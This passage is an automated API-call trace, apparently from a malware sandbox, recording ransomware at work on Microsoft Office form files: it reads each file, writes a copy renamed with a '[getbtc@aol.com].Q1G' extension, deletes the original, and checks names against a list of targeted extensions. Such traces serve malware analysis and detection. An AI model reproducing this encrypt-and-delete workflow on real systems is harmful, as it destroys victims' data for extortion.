Office\\Office14\\FORMS\\1033\\CONFLICT.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.618] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.618] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0261.619] GetLastError () returned 0x0 [0261.619] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xbb6, lpOverlapped=0x0) returned 1 [0261.621] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0261.621] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0261.622] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.622] SetEndOfFile (hFile=0x3d8) returned 1 [0261.622] CloseHandle (hObject=0x3d8) returned 1 [0261.622] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.622] SetEndOfFile (hFile=0x1bc) returned 1 [0261.624] CloseHandle (hObject=0x1bc) returned 1 [0261.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico")) returned 1 [0261.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0261.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0261.625] lstrlenW (lpString=".doc") returned 4 [0261.625] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.625] lstrlenW (lpString=".docx") returned 5 [0261.625] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0261.625] lstrlenW (lpString=".pdf") returned 4 [0261.625] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.625] lstrlenW (lpString=".xls") returned 4 [0261.625] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.625] lstrlenW (lpString=".xlsx") returned 5 [0261.625] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0261.625] lstrlenW (lpString=".ppt") returned 4 [0261.625] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0261.625] lstrlenW (lpString=".zip") returned 4 [0261.625] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.625] lstrlenW (lpString=".rar") returned 4 [0261.625] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.625] lstrlenW (lpString=".bz2") returned 4 [0261.625] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.625] lstrlenW (lpString=".7z") returned 3 [0261.625] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0261.625] lstrlenW (lpString=".dbf") returned 4 [0261.625] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0261.625] lstrlenW (lpString=".1cd") returned 4 [0261.625] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0261.625] lstrlenW (lpString=".jpg") returned 4 [0261.625] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0261.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0261.626] lstrlenW (lpString=".doc") returned 4 [0261.626] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.626] lstrlenW (lpString=".docx") returned 5 [0261.626] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0261.626] lstrlenW (lpString=".pdf") returned 4 [0261.626] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.626] lstrlenW (lpString=".xls") returned 4 [0261.626] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.626] lstrlenW (lpString=".xlsx") returned 5 [0261.626] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0261.626] lstrlenW (lpString=".ppt") returned 4 [0261.626] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0261.626] lstrlenW (lpString=".zip") returned 4 [0261.626] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.626] lstrlenW (lpString=".rar") returned 4 [0261.626] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.626] lstrlenW (lpString=".bz2") returned 4 [0261.626] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.626] lstrlenW (lpString=".7z") returned 3 [0261.626] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0261.626] lstrlenW (lpString=".dbf") returned 4 [0261.626] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0261.626] lstrlenW (lpString=".1cd") returned 4 [0261.626] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0261.626] lstrlenW (lpString=".jpg") returned 4 [0261.626] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.626] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0261.627] lstrlenW (lpString="CONTACT.CFG") returned 11 [0261.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.627] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=783) returned 1 [0261.627] CloseHandle (hObject=0x1bc) returned 1 [0261.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg")) returned 0x20 [0261.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.628] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.628] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0261.628] GetLastError () returned 0x0 [0261.628] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x30f, lpOverlapped=0x0) returned 1 [0261.630] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x310, lpOverlapped=0x0) returned 1 [0261.631] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0261.631] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0261.631] SetEndOfFile (hFile=0x3d8) returned 1 [0261.631] CloseHandle (hObject=0x3d8) returned 1 [0261.631] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.631] SetEndOfFile (hFile=0x1bc) returned 1 [0261.633] CloseHandle (hObject=0x1bc) returned 1 [0261.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg")) returned 1 [0261.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0261.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0261.634] lstrlenW (lpString=".doc") returned 4 [0261.634] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0261.634] lstrlenW (lpString=".docx") returned 5 [0261.634] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0261.634] lstrlenW (lpString=".pdf") returned 4 [0261.634] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0261.634] lstrlenW (lpString=".xls") returned 4 [0261.634] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0261.634] lstrlenW (lpString=".xlsx") returned 5 [0261.634] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0261.634] lstrlenW (lpString=".ppt") returned 4 [0261.634] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0261.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0261.634] lstrlenW (lpString=".zip") returned 4 [0261.634] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0261.634] lstrlenW (lpString=".rar") returned 4 [0261.634] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0261.634] lstrlenW (lpString=".bz2") returned 4 [0261.634] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0261.634] lstrlenW (lpString=".7z") returned 3 [0261.634] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0261.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0261.634] lstrlenW (lpString=".dbf") returned 4 [0261.634] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0261.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0261.635] lstrlenW (lpString=".1cd") returned 4 [0261.635] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0261.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0261.635] lstrlenW (lpString=".jpg") returned 4 [0261.635] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0261.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0261.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0261.635] lstrlenW (lpString=".doc") returned 4 [0261.635] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0261.635] lstrlenW (lpString=".docx") returned 5 [0261.635] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0261.635] lstrlenW (lpString=".pdf") returned 4 [0261.635] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0261.635] lstrlenW (lpString=".xls") returned 4 [0261.635] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0261.635] lstrlenW (lpString=".xlsx") returned 5 [0261.635] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0261.635] lstrlenW (lpString=".ppt") returned 4 [0261.635] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0261.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0261.635] lstrlenW (lpString=".zip") returned 4 [0261.635] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0261.635] lstrlenW (lpString=".rar") returned 4 [0261.635] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0261.635] lstrlenW (lpString=".bz2") returned 4 [0261.635] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0261.635] lstrlenW (lpString=".7z") returned 3 [0261.635] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0261.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0261.635] lstrlenW (lpString=".dbf") returned 4 [0261.635] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0261.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0261.635] lstrlenW (lpString=".1cd") returned 4 [0261.635] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0261.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65 [0261.636] lstrlenW (lpString=".jpg") returned 4 [0261.636] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0261.636] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0261.636] lstrlenW (lpString="CONTACTL.ICO") returned 12 [0261.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.636] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1078) returned 1 [0261.636] CloseHandle (hObject=0x1bc) returned 1 [0261.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico")) returned 0x20 [0261.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.637] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.637] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0261.638] GetLastError () returned 0x0 [0261.638] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x436, lpOverlapped=0x0) returned 1 [0261.639] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x440, lpOverlapped=0x0) returned 1 [0261.640] ReadFile (in: hFile=0x1bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0261.640] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.640] SetEndOfFile (hFile=0x3d8) returned 1 [0261.640] CloseHandle (hObject=0x3d8) returned 1 [0261.640] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.640] SetEndOfFile (hFile=0x1bc) returned 1 [0261.642] CloseHandle (hObject=0x1bc) returned 1 [0261.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico")) returned 1 [0261.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0261.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0261.643] lstrlenW (lpString=".doc") returned 4 [0261.643] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.643] lstrlenW (lpString=".docx") returned 5 [0261.643] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0261.643] lstrlenW (lpString=".pdf") returned 4 [0261.643] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.643] lstrlenW (lpString=".xls") returned 4 [0261.643] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.643] lstrlenW (lpString=".xlsx") returned 5 [0261.643] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0261.643] lstrlenW (lpString=".ppt") returned 4 [0261.643] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0261.644] lstrlenW (lpString=".zip") returned 4 [0261.644] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.644] lstrlenW (lpString=".rar") returned 4 [0261.644] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.644] lstrlenW (lpString=".bz2") returned 4 [0261.644] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.644] lstrlenW (lpString=".7z") returned 3 [0261.644] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0261.644] lstrlenW (lpString=".dbf") returned 4 [0261.644] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0261.644] lstrlenW (lpString=".1cd") returned 4 [0261.644] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0261.644] lstrlenW (lpString=".jpg") returned 4 [0261.644] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0261.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0261.644] lstrlenW (lpString=".doc") returned 4 [0261.644] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.644] lstrlenW (lpString=".docx") returned 5 [0261.644] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0261.644] lstrlenW (lpString=".pdf") returned 4 [0261.644] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.644] lstrlenW (lpString=".xls") returned 4 [0261.644] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.644] lstrlenW (lpString=".xlsx") returned 5 [0261.644] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0261.644] lstrlenW (lpString=".ppt") returned 4 [0261.644] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0261.644] lstrlenW (lpString=".zip") returned 4 [0261.644] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.644] lstrlenW (lpString=".rar") returned 4 [0261.644] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.645] lstrlenW (lpString=".bz2") returned 4 [0261.645] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.645] lstrlenW (lpString=".7z") returned 3 [0261.645] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0261.645] lstrlenW (lpString=".dbf") returned 4 [0261.645] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0261.645] lstrlenW (lpString=".1cd") returned 4 [0261.645] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0261.645] lstrlenW (lpString=".jpg") returned 4 [0261.645] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.645] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0261.645] lstrlenW (lpString="CONTACTS.ICO") returned 12 [0261.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.646] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=2998) returned 1 [0261.646] CloseHandle (hObject=0x1bc) returned 1 [0261.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico")) returned 0x20 [0261.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0261.646] 